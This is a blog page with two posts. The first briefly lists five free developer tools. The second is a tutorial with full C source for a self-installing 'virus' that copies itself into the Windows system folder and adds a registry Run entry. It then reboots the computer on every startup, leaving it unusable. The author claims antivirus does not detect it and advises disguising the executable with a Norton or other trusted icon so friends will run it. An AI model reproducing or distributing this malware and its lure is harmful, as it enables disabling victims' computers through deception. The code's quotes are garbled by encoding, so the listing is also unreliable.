Showing posts with label every. Show all posts
Showing posts with label every. Show all posts

Thursday, June 22, 2017

Posted by beni in , , , , , , , , , , | June 22, 2017

5 Best Free Development Tools Every Developer Should Know Padsa Information


For every developer, along with the knowledge of programming language, a sound knowledge of developer tools is needed for more productive outcome.
Dealing with bugs and errors is a developers daily routine and to control the number of bugs and errors, some minor tools help a lot. Hence these tools make the life of a developer easy.
There are thousands of developer tools across the internet but there are some tools which are very important and every developer needs to know them to maintain a better work flow.

5 Best Development Tools Every Developer Should Know

1. GitHub

GitHub needs no introduction. It is a great tool for developers/programmers who wants to work in a collaborative manner.
GitHub is a web based repository hosting server with a graphical interface. GitHub offers excellent  revision control and source code management functionality of Git. GitHub is most commonly used by software developers (desktop app, mobile app, web app, ) and designers to store their code for collaborative work or public use.

2. BitBucket

Every developer wants to have a back-up of his code in cloud as he can�t take the risk of loosing project code. BitBucket  is one of the best code repositories for devs to store and share their code for a more efficient and collaborative work.
Best part of Bitbucket is it is free for the storage of private codes also. It makes developers work east by enabling a better way to collaborate with their team. Unlimited private repositories flexible deployment models and are important features of bitbucket.

3. Slack

Slack is basically a messaging app specially for the teams of designers and developers. Slack helps developers to send files and other digital assets. Next important reason for Slack�s popularity over developer community is because it saves discussions and also creates a database of topics that are discussed.

4. BlackDuck

While coding, Developers may face problems and want to know if any other developer shared the code to his problem in any of the open resources. After seeing the code written by other, we can easily have an idea on where we went wrong in the code. BlackDuck helps in all the above mentioned cases and easily helps you to search for others code through open sources available. BlackDuck searches through lines of open source code and provides if available. This also saves time with the single software named open hub.

5. Source Tree

SourceTree is free Git & Mercurial client for Windows and Mac and for other repositories listed above. With a variety of services, SourceTree lets developers to work with repositories. SourceTree also allows you to collaborate with people who aren�t programmers too. For Windows and Mac users, SourceTree makes version control easy and visual.

Tuesday, May 2, 2017

Posted by beni in , , , , , , , , , | May 02, 2017

A C Program to Restart the Computer at Every Startup



Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.
For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect�s this as a virus since I have coded this virus in C. So if you are familiar with C language then it�s too easy to understand the logic behind the coding.
Here is the source code.
#include<stdio.h>
#include<dos.h>
#include<dir.h> int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst(�C:windowssystem�,&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst(�C:windowssystemsysres.exe�,&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst(�D:windowssystem�,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(�D:windowssystemsysres.exe�,&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst(�E:windowssystem�,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(�E:windowssystemsysres.exe�,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst(�F:windowssystem�,&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst(�F:windowssystemsysres.exe�,&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],�rb�); //The virus file open�s itself
switch(drive_no)
{
case 1:
target=fopen(�C:windowssystemsysres.exe�,�wb�); //to place a copy of itself in a remote place
system(�REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindows
CurrentVersionRun /v sres /t REG_SZ /d
C:windowssystem sysres.exe�); //put this file to registry for starup
break;
case 2:
target=fopen(�D:windowssystemsysres.exe�,�wb�);
system(�REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindows
CurrentVersionRun /v sres /t REG_SZ /d
D:windowssystemsysres.exe�);
break;
case 3:
target=fopen(�E:windowssystemsysres.exe�,�wb�);
system(�REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindows
CurrentVersionRun /v sres /t REG_SZ /d
E:windowssystemsysres.exe�);
break;
case 4:
target=fopen(�F:windowssystemsysres.exe�,�wb�);
system(�REG ADD HKEY_CURRENT_USERSoftwareMicrosoftWindows
CurrentVersionRun /v sres /t REG_SZ /d
F:windowssystemsysres.exe�);
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system(�shutdown -r -t 0?); //if the system is already infected then just give a command to restart
}
NOTE: COMMENTS ARE GIVEN IN BROWN COLOUR.
Compiling The Scource Code Into Executable Virus.
1. Download the Source Code Here
2. The downloaded file will be Sysres.C
3. For step-by-step compilation guide, refer my post How to compile C Programs.
Testing And Removing The Virus From Your PC
You can compile and test this virus on your own PC without any fear. To test, just doubleclick the sysres.exe file and restart the system manually. Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.
It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by the following steps.
1. Reboot your computer in the SAFE MODE
2. Goto
X:WindowsSystem
(X can be C,D,E or F) 3.You will find a file by name sysres.exe, delete it.
4.Type regedit in run.You will goto registry editor.Here navigate to
HKEY_CURRENT_USERSoftwareMicrosoftWindows CurrentVersionRun

 There, on the right site you will see an entry by name �sres�.Delete this entry.That�s it.You have removed this Virus successfully.
Logic Behind The Working Of The Virus
If I don�t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete. So I�ll explain the logic in a simplified manner. Here I�ll not explain the technical details of the program. If you have further doubts please pass comments.
LOGIC:
1. First the virus will find the Root partition (Partition on which Windows is installed).
2. Next it will determine whether the Virus file is already copied(Already infected) into X:WindowsSystem
3. If not it will just place a copy of itself into X:WindowsSystem and makes a registry entry to put this virus file onto the startup.
4. Or else if the virus is already found in the X:WindowsSystem directory(folder), then it just gives a command to restart the computer.
This process is repeated every time the PC is restarted.
NOTE: The system will not be restarted as soon as you double click the Sysres.exe file.The restarting process will occur from the next boot of the system.
AND ONE MORE THING BEFORE YOU LEAVE (This Step is optional)
After you compile, the Sysres.exe file that you get will have a default icon. So if you send this file to your friends they may not click on it since it has a default ICON. So it is possible to change the ICON of this Sysres.exe file into any other ICON that is more trusted and looks attractive.
For example you can change the .exe file�s icon into Norton antivirus ICON itself so that the people seeing this file beleives that it is Norton antivirus. Or you can change it�s ICON into the ICON of any popular and trusted programs so that people will definitely click on it.
The detailed tutorial on changing the ICON is given in my post How To Change The ICON Of An EXE File .

Search